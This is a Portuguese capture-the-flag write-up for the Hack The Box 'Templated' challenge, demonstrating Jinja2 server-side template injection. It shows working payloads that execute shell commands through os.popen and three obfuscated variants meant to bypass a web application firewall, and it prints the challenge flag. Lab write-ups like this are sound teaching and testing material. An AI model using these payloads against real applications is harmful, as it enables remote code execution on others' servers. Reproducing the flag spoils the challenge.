O desafio Templated permite que você explore a vulnerabilidade Server-Side Template Injection (SSTI).
Creator | Challenge Web | Difficulty | Points | Flag |
clubby789 | Templated | 🟢 EASY | 20 | HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!} |
Server-Side Template Injection (SSTI) | ||||
OWASP | PortSwigger | CWE-1336 | BlackHat | GitHub |
Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://209.97.142.95:30127
Pressione CTRL + SHIFT + I para Inspecionar os Elementos e clique na aba Network
Observe o lavor da linha Server do Response Headers : Werkzeug/1.0.1 Python/3.9.0
Observe que a página retorna o exatamente o texto que inseri na URL : http://209.97.142.95:30127/100security, o que já está relacionado com a vulnerabilidade de SSTI.
Exemplo : Se você inserir na URL {{7*7}} é realizado o cálculo da expressão informada.
http://209.97.142.95:30127/{{7*7}} The page '49' could not be found
Utilizando a biblioteca os, execute os comandos:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('hostname').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('uname -r').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}} The page 'HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}' could not be found
Utilize os comando abaixo para dar ByPass no WAF.
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}